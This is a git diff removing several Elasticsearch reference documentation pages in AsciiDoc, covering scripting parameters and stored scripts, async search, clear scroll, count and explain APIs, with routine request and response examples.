-// NOTCONSOLE
-<1> The language the script is written in, which defaults to `painless`.
-<2> The script itself which may be specified as `source` for an inline script or `id` for a stored script.
-<3> Any named parameters that should be passed into the script.
-
-For example, the following script is used in a search request to return a
-<<script-fields, scripted field>>:
-
-[source,console]
--------------------------------------
-PUT my-index-000001/_doc/1
-{
-  "my_field": 5
-}
-
-GET my-index-000001/_search
-{
-  "script_fields": {
-    "my_doubled_field": {
-      "script": {
-        "lang":   "expression",
-        "source": "doc['my_field'] * multiplier",
-        "params": {
-          "multiplier": 2
-        }
-      }
-    }
-  }
-}
--------------------------------------
-
-[discrete]
-=== Script parameters
-
-`lang`::
-
-    Specifies the language the script is written in.  Defaults to `painless`.
-
-
-`source`, `id`::
-
-    Specifies the source of the script.  An `inline` script is specified
-    `source` as in the example above. A `stored` script is specified `id`
-    and is retrieved from the cluster state (see <<modules-scripting-stored-scripts,Stored Scripts>>).
-
-
-`params`::
-
-    Specifies any named parameters that are passed into the script as
-    variables.
-
-[IMPORTANT]
-[[prefer-params]]
-.Prefer parameters
-========================================
-
-The first time Elasticsearch sees a new script, it compiles it and stores the
-compiled version in a cache. Compilation can be a heavy process.
-
-If you need to pass variables into the script, you should pass them in as
-named `params` instead of hard-coding values into the script itself.  For
-example, if you want to be able to multiply a field value by different
-multipliers, don't hard-code the multiplier into the script:
-
-[source,js]
-----------------------
-  "source": "doc['my_field'] * 2"
-----------------------
-// NOTCONSOLE
-
-Instead, pass it in as a named parameter:
-
-[source,js]
-----------------------
-  "source": "doc['my_field'] * multiplier",
-  "params": {
-    "multiplier": 2
-  }
-----------------------
-// NOTCONSOLE
-
-The first version has to be recompiled every time the multiplier changes.  The
-second version is only compiled once.
-
-If you compile too many unique scripts within a small amount of time,
-Elasticsearch will reject the new dynamic scripts with a
-`circuit_breaking_exception` error. For most contexts, you can compile up to 75
-scripts per 5 minutes by default. For ingest contexts, the default script
-compilation rate is unlimited. You can change these settings dynamically by
-setting `script.context.$CONTEXT.max_compilations_rate` eg.
-`script.context.field.max_compilations_rate=100/10m`.
-
-========================================
-
-[discrete]
-[[modules-scripting-short-script-form]]
-=== Short script form
-A short script form can be used for brevity. In the short form, `script` is represented
-by a string instead of an object. This string contains the source of the script.
-
-Short form:
-
-[source,js]
-----------------------
-  "script": "ctx._source.my-int++"
-----------------------
-// NOTCONSOLE
-
-The same script in the normal form:
-
-[source,js]
-----------------------
-  "script": {
-    "source": "ctx._source.my-int++"
-  }
-----------------------
-// NOTCONSOLE
-
-[discrete]
-[[modules-scripting-stored-scripts]]
-=== Stored scripts
-
-Scripts may be stored in and retrieved from the cluster state using the
-`_scripts` end-point.
-
-If the {es} {security-features} are enabled, you must have the following
-privileges to create, retrieve, and delete stored scripts:
-
-* cluster: `all` or `manage`
-
-For more information, see <<security-privileges>>.
-
-
-[discrete]
-==== Request examples
-
-The following are examples of using a stored script that lives at
-`/_scripts/{id}`.
-
-First, create the script called `calculate-score` in the cluster state:
-
-[source,console]
------------------------------------
-POST _scripts/calculate-score
-{
-  "script": {
-    "lang": "painless",
-    "source": "Math.log(_score * 2) + params.my_modifier"
-  }
-}
------------------------------------
-// TEST[setup:my_index]
-
-You may also specify a context as part of the url path to compile a
-stored script against that specific context in the form of
-`/_scripts/{id}/{context}`:
-
-[source,console]
------------------------------------
-POST _scripts/calculate-score/score
-{
-  "script": {
-    "lang": "painless",
-    "source": "Math.log(_score * 2) + params.my_modifier"
-  }
-}
------------------------------------
-// TEST[setup:my_index]
-
-This same script can be retrieved with:
-
-[source,console]
------------------------------------
-GET _scripts/calculate-score
------------------------------------
-// TEST[continued]
-
-Stored scripts can be used by specifying the `id` parameters as follows:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "script_score": {
-      "query": {
-        "match": {
-            "message": "some message"
-        }
-      },
-      "script": {
-        "id": "calculate-score",
-        "params": {
-          "my_modifier": 2
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-And deleted with:
-
-[source,console]
------------------------------------
-DELETE _scripts/calculate-score
------------------------------------
-// TEST[continued]
-
-[discrete]
-[[modules-scripting-search-templates]]
-=== Search templates
-You can also use the `_scripts` API to store **search templates**. Search
-templates save specific <<search-search,search requests>> with placeholder
-values, called template parameters.
-
-You can use stored search templates to run searches without writing out the
-entire query. Just provide the stored template's ID and the template parameters.
-This is useful when you want to run a commonly used query quickly and without
-mistakes.
-
-Search templates use the https://mustache.github.io/mustache.5.html[mustache
-templating language]. See <<search-template>> for more information and examples.
-
-[discrete]
-[[modules-scripting-using-caching]]
-=== Script caching
-
-All scripts are cached by default so that they only need to be recompiled
-when updates occur. By default, scripts do not have a time-based expiration, but
-you can configure the size of this cache using the
-`script.context.$CONTEXT.cache_expire` setting.
-By default, the cache size is `100` for all contexts except the `ingest` and the
-`processor_conditional` context, where it is `200`.
-
-|====
-| Context | Default Cache Size
-| `ingest`  | 200
-| `processor_conditional` | 200
-| default | 100
-|====
-
-NOTE: The size of scripts is limited to 65,535 bytes. This can be
-changed by setting `script.max_size_in_bytes` setting to increase that soft
-limit, but if scripts are really large then a
-<<modules-scripting-engine,native script engine>> should be considered.
-
-[[scripts-and-search-speed]]
-=== Scripts and search speed
-
-Scripts can't make use of {es}'s index structures or related optimizations. This
-can sometimes result in slower search speeds.
-
-If you often use scripts to transform indexed data, you can speed up search by
-making these changes during ingest instead. However, that often means slower
-index speeds.
-
-.*Example*
-[%collapsible]
-=====
-An index, `my_test_scores`, contains two `long` fields:
-
-* `math_score`
-* `verbal_score`
-
-When running searches, users often use a script to sort results by the sum of
-these two field's values.
-
-[source,console]
-----
-GET /my_test_scores/_search
-{
-  "query": {
-    "term": {
-      "grad_year": "2099"
-    }
-  },
-  "sort": [
-    {
-      "_script": {
-        "type": "number",
-        "script": {
-          "source": "doc['math_score'].value + doc['verbal_score'].value"
-        },
-        "order": "desc"
-      }
-    }
-  ]
-}
-----
-// TEST[s/^/PUT my_test_scores\n/]
-
-To speed up search, you can perform this calculation during ingest and index the
-sum to a field instead.
-
-First, <<indices-put-mapping,add a new field>>, `total_score`, to the index. The
-`total_score` field will contain sum of the `math_score` and `verbal_score`
-field values.
-
-[source,console]
-----
-PUT /my_test_scores/_mapping
-{
-  "properties": {
-    "total_score": {
-      "type": "long"
-    }
-  }
-}
-----
-// TEST[continued]
-
-Next, use an <<ingest,ingest pipeline>> containing the
-<<script-processor,`script`>> processor to calculate the sum of `math_score` and
-`verbal_score` and index it in the `total_score` field.
-
-[source,console]
-----
-PUT _ingest/pipeline/my_test_scores_pipeline
-{
-  "description": "Calculates the total test score",
-  "processors": [
-    {
-      "script": {
-        "source": "ctx.total_score = (ctx.math_score + ctx.verbal_score)"
-      }
-    }
-  ]
-}
-----
-// TEST[continued]
-
-To update existing data, use this pipeline to <<docs-reindex,reindex>> any
-documents from `my_test_scores` to a new index, `my_test_scores_2`.
-
-[source,console]
-----
-POST /_reindex
-{
-  "source": {
-    "index": "my_test_scores"
-  },
-  "dest": {
-    "index": "my_test_scores_2",
-    "pipeline": "my_test_scores_pipeline"
-  }
-}
-----
-// TEST[continued]
-
-Continue using the pipeline to index any new documents to `my_test_scores_2`.
-
-[source,console]
-----
-POST /my_test_scores_2/_doc/?pipeline=my_test_scores_pipeline
-{
-  "student": "kimchy",
-  "grad_year": "2099",
-  "math_score": 800,
-  "verbal_score": 800
-}
-----
-// TEST[continued]
-
-These changes may slow indexing but allow for faster searches. Users can now
-sort searches made on `my_test_scores_2` using the `total_score` field instead
-of using a script.
-
-[source,console]
-----
-GET /my_test_scores_2/_search
-{
-  "query": {
-    "term": {
-      "grad_year": "2099"
-    }
-  },
-  "sort": [
-    {
-      "total_score": {
-        "order": "desc"
-      }
-    }
-  ]
-}
-----
-// TEST[continued]
-
-////
-[source,console]
-----
-DELETE /_ingest/pipeline/my_test_scores_pipeline
-----
-// TEST[continued]
-
-[source,console-result]
-----
-{
-"acknowledged": true
-}
-----
-////
-=====
-
-We recommend testing and benchmarking any indexing changes before deploying them
-in production.
-
-[discrete]
-[[modules-scripting-errors]]
-=== Script errors
-Elasticsearch returns error details when there is a compliation or runtime
-exception.  The contents of this response are useful for tracking down the
-problem.
-
-experimental[]
-
-The contents of `position` are experimental and subject to change.
diff --git a/docs/reference/search.asciidoc b/docs/reference/search.asciidoc
deleted file mode 100644
index c753dbd6e28..00000000000
--- a/docs/reference/search.asciidoc
+++ /dev/null
@@ -1,85 +0,0 @@
-[[search]]
-== Search APIs
-
-Search APIs are used to search and aggregate data stored in {es} indices and
-data streams. For an overview and related tutorials, see <<search-your-data>>.
-
-Most search APIs support <<multi-index,multi-target syntax>>, with the
-exception of the <<search-explain,explain API>>.
-
-[discrete]
-[[core-search-apis]]
-=== Core search
-
-* <<search-search>>
-* <<search-multi-search>>
-* <<async-search>>
-* <<point-in-time-api>>
-* <<scroll-api>>
-* <<clear-scroll-api>>
-* <<search-suggesters>>
-
-[discrete]
-[[search-testing-apis]]
-=== Search testing
-
-* <<search-explain>>
-* <<search-field-caps>>
-* <<search-profile>>
-* <<search-rank-eval>>
-* <<search-shards>>
-* <<search-validate>>
-
-[discrete]
-[[search-template-apis]]
-=== Search templates
-
-* <<search-template>>
-* <<multi-search-template>>
-
-[discrete]
-[[eql-search-apis]]
-=== EQL search
-
-For an overview of EQL and related tutorials, see <<eql>>.
-
-* <<eql-search-api>>
-* <<get-async-eql-search-api>>
-* <<delete-async-eql-search-api>>
-
-
-include::search/search.asciidoc[]
-
-include::search/async-search.asciidoc[]
-
-include::search/point-in-time-api.asciidoc[]
-
-include::search/scroll-api.asciidoc[]
-
-include::search/clear-scroll-api.asciidoc[]
-
-include::search/search-template.asciidoc[]
-
-include::search/search-shards.asciidoc[]
-
-include::search/suggesters.asciidoc[]
-
-include::search/multi-search.asciidoc[]
-
-include::eql/eql-search-api.asciidoc[]
-
-include::eql/get-async-eql-search-api.asciidoc[]
-
-include::eql/delete-async-eql-search-api.asciidoc[]
-
-include::search/count.asciidoc[]
-
-include::search/validate.asciidoc[]
-
-include::search/explain.asciidoc[]
-
-include::search/profile.asciidoc[]
-
-include::search/field-caps.asciidoc[]
-
-include::search/rank-eval.asciidoc[]
diff --git a/docs/reference/search/async-search.asciidoc b/docs/reference/search/async-search.asciidoc
deleted file mode 100644
index 72241e23878..00000000000
--- a/docs/reference/search/async-search.asciidoc
+++ /dev/null
@@ -1,236 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[async-search]]
-=== Async search
-
-The async search API let you asynchronously execute a
-search request, monitor its progress, and retrieve  partial results
-as they become available.
-
-[[submit-async-search]]
-==== Submit async search API
-
-Executes a search request asynchronously. It accepts the same
-parameters and request body as the <<search-search,search API>>.
-
-[source,console,id=submit-async-search-date-histogram-example]
---------------------------------------------------
-POST /sales*/_async_search?size=0
-{
-  "sort": [
-    { "date": { "order": "asc" } }
-  ],
-  "aggs": {
-    "sale_date": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1d"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[s/size=0/size=0&wait_for_completion_timeout=10s&keep_on_completion=true/]
-
-The response contains an identifier of the search being executed.
-You can use this ID to later retrieve the search's final results.
-The currently available search
-results are returned as part of the <<search-api-response-body,`response`>> object.
-
-[source,console-result]
---------------------------------------------------
-{
-  "id" : "FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=", <1>
-  "is_partial" : true, <2>
-  "is_running" : true, <3>
-  "start_time_in_millis" : 1583945890986,
-  "expiration_time_in_millis" : 1584377890986,
-  "response" : {
-    "took" : 1122,
-    "timed_out" : false,
-    "num_reduce_phases" : 0,
-    "_shards" : {
-      "total" : 562, <4>
-      "successful" : 3, <5>
-      "skipped" : 0,
-      "failed" : 0
-    },
-    "hits" : {
-      "total" : {
-        "value" : 157483, <6>
-        "relation" : "gte"
-      },
-      "max_score" : null,
-      "hits" : [ ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=/$body.id/]
-// TESTRESPONSE[s/"is_partial" : true/"is_partial": $body.is_partial/]
-// TESTRESPONSE[s/"is_running" : true/"is_running": $body.is_running/]
-// TESTRESPONSE[s/1583945890986/$body.start_time_in_millis/]
-// TESTRESPONSE[s/1584377890986/$body.expiration_time_in_millis/]
-// TESTRESPONSE[s/"took" : 1122/"took": $body.response.took/]
-// TESTRESPONSE[s/"num_reduce_phases" : 0,//]
-// TESTRESPONSE[s/"total" : 562/"total": $body.response._shards.total/]
-// TESTRESPONSE[s/"successful" : 3/"successful": $body.response._shards.successful/]
-// TESTRESPONSE[s/"value" : 157483/"value": $body.response.hits.total.value/]
-// TESTRESPONSE[s/"relation" : "gte"/"relation": $body.response.hits.total.relation/]
-// TESTRESPONSE[s/"hits" : \[ \]\n\s\s\s\s\}/"hits" : \[\]},"aggregations":  $body.response.aggregations/]
-
-<1> Identifier of the async search that can be used to monitor its progress,
-retrieve its results, and/or delete it
-<2> When the query is no longer running, indicates whether the search failed
-or was successfully completed on all shards. While the query is being
-executed, `is_partial` is always set to `true`
-<3> Whether the search is still being executed or it has completed
-<4> How many shards the search will be executed on, overall
-<5> How many shards have successfully completed the search
-<6> How many documents are currently matching the query, which belong to the
-shards that have already completed the search
-
-NOTE: Although the query is no longer running, hence `is_running` is set to
-`false`, results may be partial. That happens in case the search failed after
-some shards returned their results, or when the node that is coordinating the
- async search dies.
-
-It is possible to block and wait until the search is completed up to a certain
-timeout by providing the `wait_for_completion_timeout` parameter, which
-defaults to `1` second. When the async search completes within such timeout,
-the response won't include the ID as the results are not stored in the cluster.
-The `keep_on_completion` parameter, which defaults to `false`, can be set to
-`true` to request that results are stored for later retrieval also when the
-search completes within the `wait_for_completion_timeout`.
-
-You can also specify how long the async search needs to be
-available through the `keep_alive` parameter, which defaults to `5d` (five days).
-Ongoing async searches and any saved search results are deleted after this
-period.
-
-NOTE: When the primary sort of the results is an indexed field, shards get
-sorted based on minimum and maximum value that they hold for that field,
-hence partial results become available following the sort criteria that
-was requested.
-
-The submit async search API supports the same <<search-search-api-query-params,parameters>>
-as the search API, though some have different default values:
-
-* `batched_reduce_size` defaults to `5`: this affects how often partial results
-become available, which happens whenever shard results are reduced. A partial
-reduction is performed every time the coordinating node has received a certain
-number of new shard responses (`5` by default).
-* `request_cache` defaults to `true`
-* `pre_filter_shard_size` defaults to `1` and cannot be changed: this is to
-enforce the execution of a pre-filter roundtrip to retrieve statistics from
-each shard so that the ones that surely don't hold any document matching the
-query get skipped.
-* `ccs_minimize_roundtrips` defaults to `false`, which is also the only
-supported value
-
-WARNING: Async search does not support <<scroll-search-results,scroll>>
-nor search requests that only include the  <<search-suggesters,suggest section>>.
-{ccs} is supported only with <<ccs-min-roundtrips,`ccs_minimize_roundtrips`>>
-set to `false`.
-
-[[get-async-search]]
-==== Get async search
-
-The get async search API retrieves the results of a previously submitted
-async search request given its id. If the {es} {security-features} are enabled.
-the access to the results of a specific async search is restricted to the user
-that submitted it in the first place.
-
-[source,console,id=get-async-search-date-histogram-example]
---------------------------------------------------
-GET /_async_search/FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=
---------------------------------------------------
-// TEST[continued s/FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=/\${body.id}/]
-
-[source,console-result]
---------------------------------------------------
-{
-  "id" : "FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=",
-  "is_partial" : true, <1>
-  "is_running" : true, <2>
-  "start_time_in_millis" : 1583945890986,
-  "expiration_time_in_millis" : 1584377890986, <3>
-  "response" : {
-    "took" : 12144,
-    "timed_out" : false,
-    "num_reduce_phases" : 46, <4>
-    "_shards" : {
-      "total" : 562, <5>
-      "successful" : 188,
-      "skipped" : 0,
-      "failed" : 0
-    },
-    "hits" : {
-      "total" : {
-        "value" : 456433,
-        "relation" : "eq"
-      },
-      "max_score" : null,
-      "hits" : [ ]
-    },
-    "aggregations" : { <6>
-      "sale_date" :  {
-        "buckets" : []
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=/$body.id/]
-// TESTRESPONSE[s/"is_partial" : true/"is_partial" : false/]
-// TESTRESPONSE[s/"is_running" : true/"is_running" : false/]
-// TESTRESPONSE[s/1583945890986/$body.start_time_in_millis/]
-// TESTRESPONSE[s/1584377890986/$body.expiration_time_in_millis/]
-// TESTRESPONSE[s/"took" : 12144/"took": $body.response.took/]
-// TESTRESPONSE[s/"total" : 562/"total": $body.response._shards.total/]
-// TESTRESPONSE[s/"successful" : 188/"successful": $body.response._shards.successful/]
-// TESTRESPONSE[s/"value" : 456433/"value": $body.response.hits.total.value/]
-// TESTRESPONSE[s/"buckets" : \[\]/"buckets": $body.response.aggregations.sale_date.buckets/]
-// TESTRESPONSE[s/"num_reduce_phases" : 46,//]
-
-<1> When the query is no longer running, indicates whether the search failed
-or was successfully completed on all shards. While the query is being
-executed, `is_partial` is always set to `true`
-<2> Whether the search is still being executed or it has completed
-<3> When the async search will expire
-<4> Indicates how many reductions of the results have been performed. If this
-number increases compared to the last retrieved results, you can expect
-additional results included in the search response
-<5> Indicates how many shards have executed the query. Note that in order for
-shard results to be included in the search response, they need to be reduced
-first.
-<6> Partial aggregations results, coming from the shards that have already
-completed the execution of the query.
-
-The `wait_for_completion_timeout` parameter can also be provided when calling
-the Get Async Search API, in order to wait for the search to be completed up
-until the provided timeout. Final results will be returned if available before
-the timeout expires, otherwise the currently available results will be
-returned once the timeout expires. By default no timeout is set meaning that
-the currently available results will be returned without any additional wait.
-
-The `keep_alive` parameter specifies how long the async search should be
-available in the cluster. When not specified, the `keep_alive` set with the
-corresponding submit async request will be used. Otherwise, it is possible to
-override such value and extend the validity of the request. When this period
-expires, the search, if still running, is cancelled. If the search is
-completed, its saved results are deleted.
-
-[[delete-async-search]]
-==== Delete async search
-
-You can use the delete async search API to manually delete an async search
-by ID. If the search is still running, the search request will be cancelled.
-Otherwise, the saved search results are deleted.
-
-[source,console,id=delete-async-search-date-histogram-example]
---------------------------------------------------
-DELETE /_async_search/FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=
---------------------------------------------------
-// TEST[continued s/FmRldE8zREVEUzA2ZVpUeGs2ejJFUFEaMkZ5QTVrSTZSaVN3WlNFVmtlWHJsdzoxMDc=/\${body.id}/]
diff --git a/docs/reference/search/clear-scroll-api.asciidoc b/docs/reference/search/clear-scroll-api.asciidoc
deleted file mode 100644
index a005babfd1b..00000000000
--- a/docs/reference/search/clear-scroll-api.asciidoc
+++ /dev/null
@@ -1,86 +0,0 @@
-[[clear-scroll-api]]
-=== Clear scroll API
-++++
-<titleabbrev>Clear scroll</titleabbrev>
-++++
-
-Clears the search context and results for a
-<<scroll-search-results,scrolling search>>.
-
-////
-[source,console]
---------------------------------------------------
-GET /_search?scroll=1m
-{
-  "size": 1,
-  "query": {
-    "match_all": {}
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-////
-
-[source,console]
---------------------------------------------------
-DELETE /_search/scroll
-{
-  "scroll_id" : "DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ=="
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[s/DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==/$body._scroll_id/]
-
-[[clear-scroll-api-request]]
-==== {api-request-title}
-
-`DELETE /_search/scroll/<scroll_id>`
-deprecated:[7.0.0]
-
-`DELETE /_search/scroll`
-
-[[clear-scroll-api-path-params]]
-==== {api-path-parms-title}
-
-`<scroll_id>`::
-deprecated:[7.0.0]
-(Optional, string)
-Comma-separated list of scroll IDs to clear. To clear all scroll IDs, use `_all`.
-+
-IMPORTANT: Scroll IDs can be long. We recommend only specifying
-scroll IDs using the <<clear-scroll-api-scroll-id-param,`scroll_id` request body
-parameter>>.
-
-[[clear-scroll-api-query-params]]
-==== {api-query-parms-title}
-
-`scroll_id`::
-deprecated:[7.0.0]
-(Optional, string)
-Comma-separated list of scroll IDs to clear. To clear all scroll IDs, use `_all`.
-+
-IMPORTANT: Scroll IDs can be long. We recommend only specifying
-scroll IDs using the <<clear-scroll-api-scroll-id-param,`scroll_id` request body
-parameter>>.
-
-[role="child_attributes"]
-[[clear-scroll-api-request-body]]
-==== {api-request-body-title}
-
-[[clear-scroll-api-scroll-id-param]]
-`scroll_id`::
-(Required, string or array of strings)
-Scroll IDs to clear. To clear all scroll IDs, use `_all`.
-
-[role="child_attributes"]
-[[clear-scroll-api-response-body]]
-==== {api-response-body-title}
-
-`succeeded`::
-(Boolean)
-If `true`, the request succeeded. This does not indicate whether any scrolling
-search requests were cleared.
-
-`num_freed`::
-(integer)
-Number of scrolling search requests cleared.
\ No newline at end of file
diff --git a/docs/reference/search/count.asciidoc b/docs/reference/search/count.asciidoc
deleted file mode 100644
index 07bb447c425..00000000000
--- a/docs/reference/search/count.asciidoc
+++ /dev/null
@@ -1,132 +0,0 @@
-[[search-count]]
-=== Count API
-
-Gets the number of matches for a search query.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_count?q=user:kimchy
---------------------------------------------------
-// TEST[setup:my_index]
-
-NOTE: The query being sent in the body must be nested in a `query` key, same as
-the <<search-search,search API>> works.
-
-
-[[search-count-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_count`
-
-
-[[search-count-api-desc]]
-==== {api-description-title}
-
-The count API allows you to execute a query and get the number of matches for
-that query. The query can either
-be provided using a simple query string as a parameter, or using the
-<<query-dsl,Query DSL>> defined within the request body.
-
-The count API supports <<multi-index,multi-target syntax>>. You can run a single
-count API search across multiple data streams and indices.
-
-The operation is broadcast across all shards. For each shard id group, a replica
-is chosen and executed against it. This means that replicas increase the
-scalability of count.
-
-
-[[search-count-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases to search.
-Wildcard (`*`) expressions are supported.
-+
-To search all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-[[search-count-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=analyzer]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=analyze_wildcard]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=default_operator]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=df]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=ignore_throttled]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=lenient]
-
-`min_score`::
-(Optional, float)
-  Sets the minimum `_score` value that documents must have to be included in the
-  result.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=preference]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-q]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=terminate_after]
-
-
-[[search-count-request-body]]
-==== {api-request-body-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=query]
-
-
-[[search-count-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_doc/1?refresh
-{
-  "user.id": "kimchy"
-}
-
-GET /my-index-000001/_count?q=user:kimchy
-
-GET /my-index-000001/_count
-{
-  "query" : {
-    "term" : { "user.id" : "kimchy" }
-  }
-}
---------------------------------------------------
-
-Both examples above do the same: count the number of documents in
-`my-index-000001` with a `user.id` of `kimchy`. The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "count": 1,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  }
-}
---------------------------------------------------
-
-The query is optional, and when not provided, it will use `match_all` to
-count all the docs.
diff --git a/docs/reference/search/explain.asciidoc b/docs/reference/search/explain.asciidoc
deleted file mode 100644
index 61ee2d7aa9a..00000000000
--- a/docs/reference/search/explain.asciidoc
+++ /dev/null
@@ -1,190 +0,0 @@
-[[search-explain]]
-=== Explain API
-
-Returns information about why a specific document matches (or doesn't match) a 
-query.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_explain/0
-{
-  "query" : {
-    "match" : { "message" : "elasticsearch" }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-
-[[search-explain-api-request]]
-==== {api-request-title}
-
-`GET /<index>/_explain/<id>`
-
-`POST /<index>/_explain/<id>`
-
-[[search-explain-api-desc]]
-==== {api-description-title}
-
-The explain API computes a score explanation for a query and a specific
-document. This can give useful feedback whether a document matches or
-didn't match a specific query.
-
-
-[[search-explain-api-path-params]]
-==== {api-path-parms-title}
-
-`<id>`::
-  (Required, integer) Defines the document ID.
-  
-`<index>`::
-+
---
-(Required, string)
-Index names used to limit the request.
-
-Only a single index name can be provided to this parameter.
---
-
-
-[[search-explain-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=analyzer]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=analyze_wildcard]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=default_operator]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=df]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=lenient]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=preference]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-q]
-
-`stored_fields`::
-  (Optional, string) A comma-separated list of stored fields to return in the 
-  response.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-routing]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_excludes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_includes]
-
-
-[[search-explain-api-request-body]]
-==== {api-request-body-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=query]
-
-
-[[search-explain-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_explain/0
-{
-  "query" : {
-    "match" : { "message" : "elasticsearch" }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "_index":"my-index-000001",
-   "_type":"_doc",
-   "_id":"0",
-   "matched":true,
-   "explanation":{
-      "value":1.6943598,
-      "description":"weight(message:elasticsearch in 0) [PerFieldSimilarity], result of:",
-      "details":[
-         {
-            "value":1.6943598,
-            "description":"score(freq=1.0), computed as boost * idf * tf from:",
-            "details":[
-               {
-                  "value":2.2,
-                  "description":"boost",
-                  "details":[]
-               },
-               {
-                  "value":1.3862944,
-                  "description":"idf, computed as log(1 + (N - n + 0.5) / (n + 0.5)) from:",
-                  "details":[
-                     {
-                        "value":1,
-                        "description":"n, number of documents containing term",
-                        "details":[]
-                     },
-                     {
-                        "value":5,
-                        "description":"N, total number of documents with field",
-                        "details":[]
-                     }
-                  ]
-               },
-               {
-                  "value":0.5555556,
-                  "description":"tf, computed as freq / (freq + k1 * (1 - b + b * dl / avgdl)) from:",
-                  "details":[
-                     {
-                        "value":1.0,
-                        "description":"freq, occurrences of term within document",
-                        "details":[]
-                     },
-                     {
-                        "value":1.2,
-                        "description":"k1, term saturation parameter",
-                        "details":[]
-                     },
-                     {
-                        "value":0.75,
-                        "description":"b, length normalization parameter",
-                        "details":[]
-                     },
-                     {
-                        "value":3.0,
-                        "description":"dl, length of field",
-                        "details":[]
-                     },
-                     {
-                        "value":5.4,
-                        "description":"avgdl, average length of field",
-                        "details":[]
-                     }
-                  ]
-               }
-            ]
-         }
-      ]
-   }
-}
---------------------------------------------------
-
-
-There is also a simpler way of specifying the query via the `q` parameter. The 
-specified `q` parameter value is then parsed as if the `query_string` query was 
-used. Example usage of the `q` parameter in the
-explain API:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_explain/0?q=message:search
---------------------------------------------------
-// TEST[setup:messages]
-
-
-The API returns the same result as the previous request.
diff --git a/docs/reference/search/field-caps.asciidoc b/docs/reference/search/field-caps.asciidoc
deleted file mode 100644
index d0024c03a34..00000000000
--- a/docs/reference/search/field-caps.asciidoc
+++ /dev/null
@@ -1,266 +0,0 @@
-[[search-field-caps]]
-=== Field capabilities API
-++++
-<titleabbrev>Field capabilities</titleabbrev>
-++++
-
-
-Allows you to retrieve the capabilities of fields among multiple indices.
-For data streams, the API returns field capabilities among the stream's backing
-indices.
-
-[source,console]
---------------------------------------------------
-GET /_field_caps?fields=rating
---------------------------------------------------
-
-
-[[search-field-caps-api-request]]
